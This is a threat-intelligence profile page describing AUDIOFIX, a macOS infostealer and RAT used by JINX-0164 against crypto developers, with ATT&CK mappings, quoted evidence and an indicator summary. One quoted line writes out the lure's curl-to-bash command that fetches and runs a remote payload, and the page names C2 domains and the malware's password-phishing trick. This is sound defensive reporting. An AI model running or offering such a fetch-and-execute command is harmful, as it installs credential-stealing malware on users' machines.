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MalwareUsed by 1 actor

AUDIOFIX

AUDIOFIX is a compiled Python-based macOS infostealer and backdoor/RAT used by the financially motivated threat cluster JINX-0164 in campaigns active since at least mid-2025. It has been used primarily against software developers at cryptocurrency organizations and financial firms via recruitment-themed social engineering, including fake LinkedIn recruiter outreach, bogus virtual meeting pages, and fake teleconference or driver-update sites. In documented intrusions, victims were tricked into downloading and executing a bash script from apple.driver-store[.]com, which fetched architecture-aware payloads for Intel and Apple Silicon macOS systems. The payload masqueraded as a system audio component named coreaudiod, was saved as ChromeUpdater, and was executed via launchctl; persistence was also established through LaunchAgents plist files.

AUDIOFIX steals a broad range of data from compromised macOS hosts, including credentials from local password storage vaults, macOS Keychain/iCloud Keychain data, browser credentials and history, local administrator credentials, SSH keys, configuration files, console history, clipboard data, and active sessions from Slack, Discord, and Telegram. It also targets cloud and developer secrets, including AWS, Azure, GCP, Cloudflare, version-control, and package-management credentials and API tokens, and steals cryptocurrency wallet extension data, wallet addresses, and related browser extension information. Reported capabilities also include arbitrary shell command execution, manual reconnaissance, file deletion, payload retrieval, and support for lateral movement by injecting malicious payloads into internal repositories and development infrastructure.

JINX-0164 used stolen GitHub tokens and the nord-stream tool to exfiltrate CI/CD secrets and abused compromised developer access to alter internal code repositories, impersonate legitimate developers through modified commit metadata, and propagate malware to additional developers who pulled and built infected branches. Researchers reported AUDIOFIX communicating with command-and-control infrastructure including datahub[.]ink; one report also states it used HTTPS with AES-256-CBC encryption. Additional indicators and artifacts directly mentioned include apple.driver-store[.]com, the filenames coreaudiod and ChromeUpdater, execution via launchctl, and an XOR-encoded password stored in ~/.zsh_cache observed on compromised endpoints.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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JINX-0164

The primary utility is AUDIOFIX, which functions as a compiled Python information stealer . This malicious application actively harvests sensitive credentials from local password storage vaults .

via security online infosecurityonline.info
MITRE ATT&CK

Techniques & procedures

31 distinct techniques documented for this family, organized by ATT&CK tactic.

T1583.001DomainsEvidence1

An earlier AUDIOFIX variant was written to use Dropbox for exfiltration and as a command and control mechanism.

Initial Access

5 techniques
T1078Valid AccountsEvidence2

the stolen credentials were leveraged to access internal code distribution systems and development infrastructure.

T1189Drive-by CompromiseEvidence1

Clicking the link triggers the download of a macOS-specific remote access tool that silently begins stealing sensitive data from the moment it runs.

T1195Supply Chain CompromiseEvidence2

On April 7, 2026, JINX-0164 conducted a supply chain operation by trojanizing version 4.9.1 of the npm package @velora-dex/sdk.

T1566.002Spearphishing LinkEvidence2

The attacks leverage fake recruitment offers and masquerade as teleconference providers or system drivers to trick victims into installing the malicious payloads.

T1566.003Spearphishing via ServiceEvidence2

The attacks begin with a convincingly crafted LinkedIn profile reaching out to targets under the guise of a business opportunity or a job offer. Once trust is established, victims receive a meeting invitation linked to a fake conferencing platform page designed to look like Microsoft Teams or similar services.

Execution

4 techniques
T1059Command and Scripting InterpreterEvidence1
TacticExecution

The primary utility is AUDIOFIX, which functions as a compiled Python information stealer.

T1059.004Unix ShellEvidence2
TacticExecution

the victim was directed to a fake help page ... that instructed them to execute the following command that would download an AUDIOFIX payload: /bin/bash -c "$( curl -fsSL https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh )"

T1059.006PythonEvidence1
TacticExecution

The C2 protocol supports remote Python code execution via exec()

T1204User ExecutionEvidence3
TacticExecution

The page then instructs the developer to download a camera or audio patch script to resolve the issue... Once the victim runs the script, the computer fetches a stealthy second-stage implant.

Persistence

5 techniques
T1078Valid AccountsEvidence2

the stolen credentials were leveraged to access internal code distribution systems and development infrastructure.

T1098.004SSH Authorized KeysEvidence1

Specifically, AUDIOFIX collects Keychain files, browser history data, and active secure shell keys.

T1543.001Launch AgentEvidence1

Persistence is then established via LaunchAgent with RunAtLoad and KeepAlive flags, masquerading as legitimate applications including Microsoft Teams

T1547.015Login ItemsEvidence1

The payload disguised itself as a system audio component named coreaudiod and was saved as ChromeUpdater, launched through launchctl to establish persistence.

T1556Modify Authentication ProcessEvidence1

Password phishing: A macOS dialog box, mimicking a "System Update" prompt, requests the user's password. The malware validates the entered password against the actual system credentials using sudo -k -S pwd.

T1078Valid AccountsEvidence2

the stolen credentials were leveraged to access internal code distribution systems and development infrastructure.

T1098.004SSH Authorized KeysEvidence1

Specifically, AUDIOFIX collects Keychain files, browser history data, and active secure shell keys.

T1543.001Launch AgentEvidence1

Persistence is then established via LaunchAgent with RunAtLoad and KeepAlive flags, masquerading as legitimate applications including Microsoft Teams

T1547.015Login ItemsEvidence1

The payload disguised itself as a system audio component named coreaudiod and was saved as ChromeUpdater, launched through launchctl to establish persistence.

Stealth

4 techniques
T1036MasqueradingEvidence3
TacticStealth

The invitation included a link to a malicious domain disguised as a legitimate conferencing platform, such as Microsoft Teams. After interacting with the link, the victim executed a malicious file disguised as the meeting client.

T1070Indicator RemovalEvidence1
TacticStealth

a self-destruct capability allows operators to remotely wipe all traces: unloading the LaunchAgent, deleting persistence files, clearing logs, purging server-side data, and removing the malware binary itself.

T1078Valid AccountsEvidence2

the stolen credentials were leveraged to access internal code distribution systems and development infrastructure.

T1497.001System ChecksEvidence1

The malware includes anti-analysis checks for debuggers, virtual machines (checking CPU brand strings and manufacturer names), and code signing validation - silently exiting if analysis is detected.

T1556Modify Authentication ProcessEvidence1

Password phishing: A macOS dialog box, mimicking a "System Update" prompt, requests the user's password. The malware validates the entered password against the actual system credentials using sudo -k -S pwd.

Credential Access

7 techniques
T1056.001KeyloggingEvidence1

Password phishing: A macOS dialog box, mimicking a "System Update" prompt, requests the user's password. The malware validates the entered password...

T1528Steal Application Access TokenEvidence1

The malware also compromises active sessions from communication utilities like Slack and Discord.

T1552.001Credentials In FilesEvidence1

The malware accomplished this by extracting cloud infrastructure secrets, such as AWS, GCP, and Azure keys, and Cloudflare API tokens, as well as version control and package management credentials.

T1555Credentials from Password StoresEvidence4

This malicious application actively harvests sensitive credentials from local password storage vaults... Specifically, AUDIOFIX collects Keychain files

T1555.006Cloud Secrets Management StoresEvidence1

GitHub tokens were utilized to deepen the compromise and steal more secrets by exfiltrating GitHub Actions Secrets directly from CI/CD pipelines.

T1556Modify Authentication ProcessEvidence1

Password phishing: A macOS dialog box, mimicking a "System Update" prompt, requests the user's password. The malware validates the entered password against the actual system credentials using sudo -k -S pwd.

T1649Steal or Forge Authentication CertificatesEvidence4

Most importantly, it extracts secret keys belonging to cloud platforms like AWS and Azure.

Discovery

1 technique
T1497.001System ChecksEvidence1

The malware includes anti-analysis checks for debuggers, virtual machines (checking CPU brand strings and manufacturer names), and code signing validation - silently exiting if analysis is detected.

Lateral Movement

1 technique
T1570Lateral Tool TransferEvidence1

By leveraging their access to the compromised developer endpoint, the threat actor injected the same python-based RAT, AUDIOFIX, into internal repositories to facilitate lateral movement across the target environment.

Collection

2 techniques
T1056.001KeyloggingEvidence1

Password phishing: A macOS dialog box, mimicking a "System Update" prompt, requests the user's password. The malware validates the entered password...

T1115Clipboard DataEvidence1

AUDIOFIX is a compiled Python-based infostealer and backdoor that harvests browser credentials, cryptocurrency wallet extensions, SSH keys, cloud API tokens, and even clipboard data in real time.

T1071.001Web ProtocolsEvidence3

Both MINIRAT and AUDIOFIX route their primary outbound communications through the datahub.ink domain.

T1105Ingress Tool TransferEvidence2

Once the victim runs the script, the computer fetches a stealthy second-stage implant.

T1219Remote Access ToolsEvidence1

Upon clicking, the victim unknowingly downloaded and executed a macOS-specific malware with remote access tool (RAT) capabilities.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

The threat actors then utilize specialized tools to exfiltrate these secrets automatically.

Other

2 techniques
T1562.001Disable or Modify ToolsEvidence1

The malware overlays a fake "Network latency detected" prompt on top of a real TCC permission dialog ... granting Full Disk Access.

T1656ImpersonationEvidence1

JINX-0164 has been targeting cryptocurrency organizations with sophisticated social engineering tactics... The campaign... uses recruitment-themed social engineering to lure developers into downloading a Python-based infostealer and remote access trojan named AUDIOFIX.

INDICATORS OF COMPROMISE

IOCs tracked for this family

83 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Network
63 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
17 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
3 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
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ACTIVITY FEED

Recent activity

5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

security online infoNews
Jun 3, 2026
macOS Cryptocurrency Malware Sparks JINX-0164 Threat

A macOS compiled Python information stealer used to harvest developer credentials and secrets, including Keychain files, browser history, SSH keys, Slack and Discord sessions, and AWS and Azure keys.

Read more
scworldNews
May 29, 2026
New threat actor JINX-0164 targets crypto firms with macOS malware | brief | SC Media

Python-based infostealer and remote access trojan used to steal credentials, SSH keys, and cryptocurrency wallet information, and to enable lateral movement within victim networks.

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cyber security newsNews
May 29, 2026
JINX-0164 Threat Actor Using LinkedIn Social Engineering to Deploy Custom macOS Malware

A compiled Python-based macOS infostealer and backdoor used to steal browser credentials, wallet extensions, SSH keys, cloud API tokens, clipboard data, and communication-platform session data. It communicates with C2 over encrypted HTTPS, establishes persistence via launchctl, and was also propagated through compromised internal repositories as part of a supply-chain style spread.

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the hacker newsNews
May 28, 2026
JINX-0164 Targets Cryptocurrency Firms with Fake Recruiter Lures and macOS Malware

A bespoke Python-based macOS infostealer and remote access trojan used to steal credentials and wallet-related data, support lateral movement into development and code distribution systems, modify source code, and provide remote capabilities including reconnaissance, exfiltration, shell command execution, file deletion, and payload retrieval.

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IOC matching83

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Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping31

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.